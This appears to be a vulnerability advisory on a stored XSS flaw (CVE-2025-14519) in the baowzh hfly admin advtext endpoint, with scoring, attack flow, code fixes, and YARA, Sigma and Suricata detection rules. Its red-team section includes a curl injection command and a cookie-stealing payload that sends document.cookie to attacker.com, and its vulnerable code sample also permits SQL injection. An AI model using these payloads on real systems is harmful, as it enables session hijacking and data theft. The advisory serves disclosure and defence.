CVE-2025-14519

Executive Summary

CVE-2025-14519 is a publicly disclosed, unpatched stored cross-site scripting (XSS) vulnerability in the baowzh hfly application, specifically within the /admin/index.php/advtext/add endpoint of the advtext Module. The vulnerability allows an unauthenticated remote attacker to inject arbitrary JavaScript into the application, which is then stored and executed in the context of any administrator viewing the affected page. The vendor (Baowzh) has not responded to disclosure attempts, and due to the rolling release model, no specific patched version is available. The EPSS score is 0.0%, indicating low current exploitation activity, but the public availability of exploit details increases risk.

Supply Chain & Package Security

This vulnerability does not affect a standard package manager (NPM, PyPI, Go, Ruby). The baowzh hfly application is a custom PHP-based system. The risk lies in the lack of vendor response and the rolling release model, which makes it difficult for users to determine if they are running a vulnerable version. Organizations using this software must assume they are vulnerable until they can verify the fix.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – Exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed to inject the payload.
• User Interaction (UI): Required – An administrator must view the injected content.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): None – No direct data theft.
• Integrity (I): Low – Attacker can modify content displayed to the admin.
• Availability (A): None – No denial of service.

Threat Level: Low. The requirement for user interaction (admin viewing the page) reduces the immediate risk. However, the public exploit and lack of patch elevate the risk for organizations that rely on this software.

Deep Dive & Mechanics

The vulnerability resides in the advtext Module of the baowzh hfly application. The /admin/index.php/advtext/add endpoint is used to add new advertisement text entries. The application fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the admin panel.

Attack Flow:

1. An attacker sends a POST request to /admin/index.php/advtext/add with a malicious payload in one of the text fields (e.g., advtext_content).
2. The application stores the payload without sanitization.
3. When an administrator navigates to the page that displays the advertisement text (likely the same or a related admin page), the stored payload is rendered in the browser.
4. The injected JavaScript executes in the administrator's session, allowing the attacker to perform actions such as session hijacking, defacement, or forced actions.

Root Cause: Lack of output encoding and input validation. The application does not use functions like htmlspecialchars() or strip_tags() before storing or displaying user input.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical fix.

Vulnerable Code (PHP):

// Vulnerable: Directly stores and outputs user input
$advtext_content = $_POST['advtext_content'];
$sql = "INSERT INTO advtext (content) VALUES ('$advtext_content')";
// ... later in the view
echo $row['content'];

Patched Code (PHP):

// Patched: Sanitize input and encode output
$advtext_content = htmlspecialchars($_POST['advtext_content'], ENT_QUOTES, 'UTF-8');
$stmt = $pdo->prepare("INSERT INTO advtext (content) VALUES (:content)");
$stmt->execute([':content' => $advtext_content]);
// ... later in the view
echo htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8');

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of baowzh hfly (any version up to commit 638ff9abe9078bc977c132b37acbe1900b63491c).
• Network access to the /admin/index.php/advtext/add endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/admin/index.php/advtext/add
2. Craft a POST request with a malicious payload in the advtext_content parameter.

Example Payload:

<script>alert('XSS')</script>

Using cURL:

curl -X POST http://target/admin/index.php/advtext/add \
  -d "advtext_content=<script>alert('XSS')</script>"

3. An administrator must then visit the page that displays the advertisement text (e.g., /admin/index.php/advtext/list). The script will execute.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor HTTP POST requests to /admin/index.php/advtext/add for suspicious parameters containing <script>, onerror, onload, or other HTML event handlers.
• Look for outbound connections from the admin panel to unknown external domains (potential data exfiltration).

Honeypot:

• Deploy a fake admin user account with a session cookie that is monitored. Any unexpected use of this session indicates a successful XSS attack.

Mitigation:

• Immediately restrict access to the /admin/ directory using IP whitelisting or VPN.
• Implement a Web Application Firewall (WAF) rule to block requests containing <script> or other XSS patterns in the advtext_content parameter.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/index.php/advtext/add with parameters containing HTML/JavaScript.
  • Outbound HTTP requests from the admin panel to unknown IPs/domains (e.g., attacker.com).
• File System:
  • Unexpected entries in the database table advtext containing <script> tags.
• Logs:
  • Web server logs showing POST /admin/index.php/advtext/add with a 200 response and a payload in the request body.

Detection Engineering

YARA Rule

rule CVE_2025_14519_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-14519 in baowzh hfly"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14519"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-14519 XSS Attempt in baowzh hfly
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS payloads in POST requests to /admin/index.php/advtext/add
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/index.php/advtext/add'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in advertisement text (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14519 XSS Attempt in baowzh hfly"; flow:to_server; content:"POST"; http_method; content:"/admin/index.php/advtext/add"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the vulnerable instance offline or restrict access to the admin panel via VPN or IP whitelisting.
2. Apply a WAF rule: Block requests to /admin/index.php/advtext/add that contain HTML tags or JavaScript event handlers.
3. Manual code fix: If you have access to the source code, apply the patched code example provided in the "Vulnerable vs. Patched Code" section.

Long-Term Actions:

1. Contact the vendor: Continue to attempt contact with Baowzh. If no response, consider forking the project and applying the fix yourself.
2. Monitor for updates: Since the project uses a rolling release, regularly check the repository for any commits that address this issue.
3. User education: Train administrators to be cautious of unexpected content in the admin panel and to avoid clicking on suspicious links.

Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at [valters@example.com].